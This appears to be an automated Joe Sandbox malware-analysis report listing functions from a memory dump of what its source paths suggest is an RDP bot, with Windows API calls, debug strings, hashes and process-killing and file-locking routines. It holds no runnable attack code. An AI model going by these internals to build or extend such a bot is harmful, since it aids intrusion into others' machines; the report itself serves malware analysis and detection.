Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: AttributesFile$ErrorLast
String ID: (attr != NULL)$(path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[D] (%s) -> Done(path=%s,attr=%08lx)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,attr=%08lx,err=%08x)$[E] (%s) -> SetFileAttributesA failed(path=%s,gle=%lu)$fs_attr_set
API String ID: 365566950-3085771803
Opcode ID: f5911b0597268605da7c68ab9bf962752b1e02f0852cc6a06eb7331b6788ea4b
Instruction ID: 5432845ec0433f4e591bb47dd6598c9835ab6c3c4aac8ed81a7664251eb0e4f1
Opcode Fuzzy Hash: f5911b0597268605da7c68ab9bf962752b1e02f0852cc6a06eb7331b6788ea4b
Instruction Fuzzy Hash: 54517F61A8C64795FAA0BB129450378FE90AF00344FA44233D91EE66F5DE3CF947A723

Function 00007FF7E3CE6263 Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 113fileCOMMON

Download Yara Rule

APIs

UnlockFileEx.KERNEL32 ref: 00007FF7E3CE62AB
CloseHandle.KERNEL32 ref: 00007FF7E3CE62BC

Part of subcall function 00007FF7E3CE14E2: fwrite.MSVCRT ref: 00007FF7E3CE158E
Part of subcall function 00007FF7E3CE14E2: fflush.MSVCRT ref: 00007FF7E3CE159A

GetLastError.KERNEL32 ref: 00007FF7E3CE6372

Strings

[I] (%s) -> Done(lock=%p), xrefs: 00007FF7E3CE62CC
[E] (%s) -> Failed(lock=%p,err=%08x), xrefs: 00007FF7E3CE635D
(lock != NULL), xrefs: 00007FF7E3CE62F3
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE6301, 00007FF7E3CE6332
((*lock) != INVALID_HANDLE_VALUE), xrefs: 00007FF7E3CE6324
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7E3CE62EC, 00007FF7E3CE631D
fs_file_unlock, xrefs: 00007FF7E3CE62C5, 00007FF7E3CE62FA, 00007FF7E3CE632B, 00007FF7E3CE6356, 00007FF7E3CE6380
[E] (%s) -> UnlockFileEx failed(hnd=%p,gle=%lu), xrefs: 00007FF7E3CE6387

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: CloseErrorFileHandleLastUnlockfflushfwrite
String ID: ((*lock) != INVALID_HANDLE_VALUE)$(lock != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(lock=%p,err=%08x)$[E] (%s) -> UnlockFileEx failed(hnd=%p,gle=%lu)$[I] (%s) -> Done(lock=%p)$fs_file_unlock
API String ID: 497672076-1436771859
Opcode ID: be40d166d65ee0fd826c179aebf8d274529e1f5329d112457eecbd3a16b0776b
Instruction ID: 09430797f2053a4c01453ff2e2e8104c7852c664a221ed2abb0fc41aa3fcfa13
Opcode Fuzzy Hash: be40d166d65ee0fd826c179aebf8d274529e1f5329d112457eecbd3a16b0776b
Instruction Fuzzy Hash: A3417262B9C58380FAB0B716E4107B8DE91AF50768F964333C41DA76F19E3CE5A59323

Function 00007FF7E3CE8008 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 84memoryCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32 ref: 00007FF7E3CE8019
GetProcessHeap.KERNEL32 ref: 00007FF7E3CE804F
HeapAlloc.KERNEL32 ref: 00007FF7E3CE8063
wcslen.MSVCRT ref: 00007FF7E3CE8080
GetProcessHeap.KERNEL32 ref: 00007FF7E3CE8093
HeapAlloc.KERNEL32 ref: 00007FF7E3CE80A7
memcpy.MSVCRT ref: 00007FF7E3CE80CF

Part of subcall function 00007FF7E3CE14E2: fwrite.MSVCRT ref: 00007FF7E3CE158E
Part of subcall function 00007FF7E3CE14E2: fflush.MSVCRT ref: 00007FF7E3CE159A

Part of subcall function 00007FF7E3CE14E2: EnterCriticalSection.KERNEL32 ref: 00007FF7E3CE15B3
Part of subcall function 00007FF7E3CE14E2: LeaveCriticalSection.KERNEL32 ref: 00007FF7E3CE15DB
Part of subcall function 00007FF7E3CE14E2: CopyFileA.KERNEL32 ref: 00007FF7E3CE1638

GetProcessHeap.KERNEL32 ref: 00007FF7E3CE8114
HeapFree.KERNEL32 ref: 00007FF7E3CE8125

Strings

[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF7E3CE80E6, 00007FF7E3CE8101
mem_alloc, xrefs: 00007FF7E3CE80DF, 00007FF7E3CE80FA

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: Heap$Process$AllocCriticalFileSection$AttributesCopyEnterFreeLeavefflushfwritememcpywcslen
String ID: [E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc
API String ID: 4155868088-3920367287
Opcode ID: 98cc37affdbc9853e1a9166010f45109071c9e9919c2ed23c9d2c199f0cdb42d
Instruction ID: 7938270797eb9a50334714d0c4335abe1c2e815124c10ec54c37678f4d2a0cd8
Opcode Fuzzy Hash: 98cc37affdbc9853e1a9166010f45109071c9e9919c2ed23c9d2c199f0cdb42d
Instruction Fuzzy Hash: 6331622568874781FAA0BB06E450379BB90AB44F80F848133CA4DA73F1DE3DE995D322

Function 00007FF7E3CE6A5C Relevance: 19.3, APIs: 2, Strings: 9, Instructions: 73COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF7E3CE6A8B
GetLastError.KERNEL32 ref: 00007FF7E3CE6A96

Strings

(hnd != NULL), xrefs: 00007FF7E3CE6B14
wfpblk.lock, xrefs: 00007FF7E3CE6A5C
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE6B22, 00007FF7E3CE6B52, 00007FF7E3CE6B85
fs_module_path, xrefs: 00007FF7E3CE6AAE, 00007FF7E3CE6AE7, 00007FF7E3CE6B1B, 00007FF7E3CE6B4B, 00007FF7E3CE6B7E
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7E3CE6B0D, 00007FF7E3CE6B3D, 00007FF7E3CE6B70
(path_sz != NULL), xrefs: 00007FF7E3CE6B77
(path != NULL), xrefs: 00007FF7E3CE6B44
[E] (%s) -> GetModuleFileNameA failed(hnd=0x%p,gle=%lu), xrefs: 00007FF7E3CE6AB5
[E] (%s) -> Failed(hnd=0x%p,err=%08x), xrefs: 00007FF7E3CE6AEE

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: (hnd != NULL)$(path != NULL)$(path_sz != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(hnd=0x%p,err=%08x)$[E] (%s) -> GetModuleFileNameA failed(hnd=0x%p,gle=%lu)$fs_module_path$wfpblk.lock
API String ID: 2776309574-2006444783
Opcode ID: 4b8e4eb41ae9378e3f657afe959d27e4c49e50872b6dd60d7d795c4887aa8013
Instruction ID: 015b4a9d4ab7a7bc4ee683a34f139a5cad8d52398a7571dd7f24f14e598f5da3
Opcode Fuzzy Hash: 4b8e4eb41ae9378e3f657afe959d27e4c49e50872b6dd60d7d795c4887aa8013
Instruction Fuzzy Hash: D6315261E9850751EAA1FB11E9107B4AB90BF04748FC95133D90CA71F1EF7CE52AD322

Function 00007FF7E3CE5923 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 161fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00007FF7E3CE5969
GetFileSize.KERNEL32 ref: 00007FF7E3CE598C
CloseHandle.KERNEL32 ref: 00007FF7E3CE59AE
GetLastError.KERNEL32 ref: 00007FF7E3CE5A34
GetLastError.KERNEL32 ref: 00007FF7E3CE5AFA

Strings

(size != NULL), xrefs: 00007FF7E3CE5A13
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE59F1, 00007FF7E3CE5A21
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7E3CE59DC, 00007FF7E3CE5A0C
(path != NULL), xrefs: 00007FF7E3CE59E3
fs_file_size, xrefs: 00007FF7E3CE59EA, 00007FF7E3CE5A1A

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandleSize
String ID: (path != NULL)$(size != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_file_size
API String ID: 3555958901-1687387729
Opcode ID: 17a3905e18cdb1d8a85cd9336cce15a49220aaebdb1d37666bd8c7ae0042426b
Instruction ID: d7b22898c096fc8f5fb3f67b2cddfa49361b491a7d5a4ce64792648328cc7e6c
Opcode Fuzzy Hash: 17a3905e18cdb1d8a85cd9336cce15a49220aaebdb1d37666bd8c7ae0042426b
Instruction Fuzzy Hash: C3612A55E8C11282FAE07616A0543B89A609F41364FA94733C45FFB2F1CE3DEC866273

Function 00007FF7E3CE3222 Relevance: 17.6, APIs: 2, Strings: 8, Instructions: 87synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF7E3CE3233
GetLastError.KERNEL32 ref: 00007FF7E3CE328C

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE3279
process_wait, xrefs: 00007FF7E3CE3272, 00007FF7E3CE329B
(pi != NULL), xrefs: 00007FF7E3CE326B
P, xrefs: 00007FF7E3CE3313
~, xrefs: 00007FF7E3CE330E
[E] (%s) -> WaitForSingleObject failed(pid=%lugle=%lu), xrefs: 00007FF7E3CE32A2
C:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FF7E3CE3264
, xrefs: 00007FF7E3CE32AE

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: ErrorLastObjectSingleWait
String ID: $(pi != NULL)$C:/Projects/rdp/bot/codebase/process.c$P$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> WaitForSingleObject failed(pid=%lugle=%lu)$process_wait$~
API String ID: 1211598281-4195011794
Opcode ID: 0deb97dcf852c4bc4058bdc4b606e96b5df0ddae11b4762ffe8ba045f7a623f4
Instruction ID: fb191ab6f2fabcaa39f7ed12bce9a80337eedf295fa18bdf24171c881faa8a16
Opcode Fuzzy Hash: 0deb97dcf852c4bc4058bdc4b606e96b5df0ddae11b4762ffe8ba045f7a623f4
Instruction Fuzzy Hash: D3310E10E8C20392FAE07756A4947789A909F44304EE49233C65FE62F29D7DFD87A273

Function 00007FF7E3CE5C44 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 129filetimeCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00007FF7E3CE5CA3
GetFileTime.KERNEL32 ref: 00007FF7E3CE5CBE
GetLastError.KERNEL32 ref: 00007FF7E3CE5CCC
CloseHandle.KERNEL32 ref: 00007FF7E3CE5DEE

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE5D0E, 00007FF7E3CE5D41
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7E3CE5CF9, 00007FF7E3CE5D2C
(ctime != NULL) || (atime != NULL) || (mtime != NULL), xrefs: 00007FF7E3CE5D33
fs_file_stat, xrefs: 00007FF7E3CE5D07, 00007FF7E3CE5D3A
(path != NULL), xrefs: 00007FF7E3CE5D00

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastTime
String ID: (ctime != NULL) || (atime != NULL) || (mtime != NULL)$(path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_file_stat
API String ID: 2291555494-3647951244
Opcode ID: 1580c463ac1a67233ffed9850a7684daecf6e87ee339f2778340ad3587e2fc21
Instruction ID: ed750b02e808ce959cb54256cef27448755672d45d022d1ab4aa1cf1c0e5ec6d
Opcode Fuzzy Hash: 1580c463ac1a67233ffed9850a7684daecf6e87ee339f2778340ad3587e2fc21
Instruction Fuzzy Hash: B5515261E8815282F6A07A5295183789AA06F007A4F984333D91FEB2F4DE3DE945A363

Function 00007FF7E3CEA264 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF7E3CEA300
_strtoui64.MSVCRT ref: 00007FF7E3CEA316
_errno.MSVCRT ref: 00007FF7E3CEA320
_errno.MSVCRT ref: 00007FF7E3CEA32C

Strings

(value != NULL), xrefs: 00007FF7E3CEA2D8
[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF7E3CEA353
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF7E3CEA2D1
ini_get_uint64, xrefs: 00007FF7E3CEA2DF, 00007FF7E3CEA34C
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CEA2E6

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: _errno$_strtoui64
String ID: (value != NULL)$C:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint64
API String ID: 3513630032-2210897324
Opcode ID: 0ca38be50db268a6cad6d239e6e380c7a805df0f1447118d3c9ec6f79f631668
Instruction ID: a103f786bb73f118fe9517c70f5d4938de031284242cd4fb91109d486530d533
Opcode Fuzzy Hash: 0ca38be50db268a6cad6d239e6e380c7a805df0f1447118d3c9ec6f79f631668
Instruction Fuzzy Hash: 3521D521648A4786E391AF11F8407BABBA0BB44784F844133EE4CA77B4DF3CE455D722

Function 00007FF7E3CEA824 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 91memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 00007FF7E3CEA8CD
VirtualProtect.KERNEL32 ref: 00007FF7E3CEA935
GetLastError.KERNEL32 ref: 00007FF7E3CEA93F

Strings

Mingw-w64 runtime failure:, xrefs: 00007FF7E3CEA7EB
Unknown pseudo relocation protocol version %d., xrefs: 00007FF7E3CEA829
VirtualProtect failed with code 0x%x, xrefs: 00007FF7E3CEA945
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF7E3CEA8E2
Address %p has no image-section, xrefs: 00007FF7E3CEA885

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuery
String ID: Unknown pseudo relocation protocol version %d.$ VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 637304234-2693646698
Opcode ID: 0313bfd795e33c478de3b3b1d00fed192ebc31b1e7fa87f2c769477b445c50a5
Instruction ID: b086b09f24b19e68972de8d2ab080194fd4f29386ed7304efdee58e6a80d26d8
Opcode Fuzzy Hash: 0313bfd795e33c478de3b3b1d00fed192ebc31b1e7fa87f2c769477b445c50a5
Instruction Fuzzy Hash: 2731D469B4960249EB90AB12E851378EBA1EF48B80B859237DD0C973F4DE3CF4558721

Function 00007FF7E3CE9F70 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 70COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF7E3CEA00E
_errno.MSVCRT ref: 00007FF7E3CEA02C
_errno.MSVCRT ref: 00007FF7E3CEA034

Strings

[E] (%s) -> strtol failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF7E3CEA05C
(value != NULL), xrefs: 00007FF7E3CE9FE6
ini_get_uint16, xrefs: 00007FF7E3CE9FED, 00007FF7E3CEA055
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF7E3CE9FDF
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE9FF4

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: _errno
String ID: (value != NULL)$C:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> strtol failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint16
API String ID: 2918714741-1991603811
Opcode ID: fe742d66581b0ccb4e8f88428579443916f0f27324e58e89ecaf8bb4bd76b93c
Instruction ID: 132df21fd6feabfe49492b19e6345bafa4182e5391fc55d7c2d2fd1fe243b39e
Opcode Fuzzy Hash: fe742d66581b0ccb4e8f88428579443916f0f27324e58e89ecaf8bb4bd76b93c
Instruction Fuzzy Hash: 42216022A4864792E791AF12ED40BAABBA0BB44784F844133EE4C577F4DF3CE855D712

Function 00007FF7E3CE2471 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 58stringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF7E3CE2487
strcmp.MSVCRT ref: 00007FF7E3CE24CA
OpenProcess.KERNEL32 ref: 00007FF7E3CE24E2
TerminateProcess.KERNEL32 ref: 00007FF7E3CE24FC
GetLastError.KERNEL32 ref: 00007FF7E3CE250A
Process32Next.KERNEL32 ref: 00007FF7E3CE26F5
GetLastError.KERNEL32 ref: 00007FF7E3CE2704
CloseHandle.KERNEL32 ref: 00007FF7E3CE2895

Strings

process_kill, xrefs: 00007FF7E3CE2515
[E] (%s) -> TerminateProcess failed(gle=%lu), xrefs: 00007FF7E3CE251C
, xrefs: 00007FF7E3CE253C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: CloseErrorHandleLastProcess$NextOpenProcess32Terminatestrcmp
String ID: $[E] (%s) -> TerminateProcess failed(gle=%lu)$process_kill
API String ID: 1211020085-2360327764
Opcode ID: ef7e762a1eac82a88f4eb49202e04d18e0dfc05369fbeb0f336ab9798df975d3
Instruction ID: ad753efdbadb6d9ba53cae315bb3f989c0302382a96baa0ea032752001b07e9f
Opcode Fuzzy Hash: ef7e762a1eac82a88f4eb49202e04d18e0dfc05369fbeb0f336ab9798df975d3
Instruction Fuzzy Hash: 9211B456A8970342FAE87752A4903769F90EF00745FC41137CD0EAA2F4DF3DE8559223

Function 00007FF7E3CE246A Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 58stringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF7E3CE2487
strcmp.MSVCRT ref: 00007FF7E3CE24CA
OpenProcess.KERNEL32 ref: 00007FF7E3CE24E2
TerminateProcess.KERNEL32 ref: 00007FF7E3CE24FC
GetLastError.KERNEL32 ref: 00007FF7E3CE250A
Process32Next.KERNEL32 ref: 00007FF7E3CE26F5
GetLastError.KERNEL32 ref: 00007FF7E3CE2704
CloseHandle.KERNEL32 ref: 00007FF7E3CE2895

Strings

process_kill, xrefs: 00007FF7E3CE2515
[E] (%s) -> TerminateProcess failed(gle=%lu), xrefs: 00007FF7E3CE251C
, xrefs: 00007FF7E3CE253C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: CloseErrorHandleLastProcess$NextOpenProcess32Terminatestrcmp
String ID: $[E] (%s) -> TerminateProcess failed(gle=%lu)$process_kill
API String ID: 1211020085-2360327764
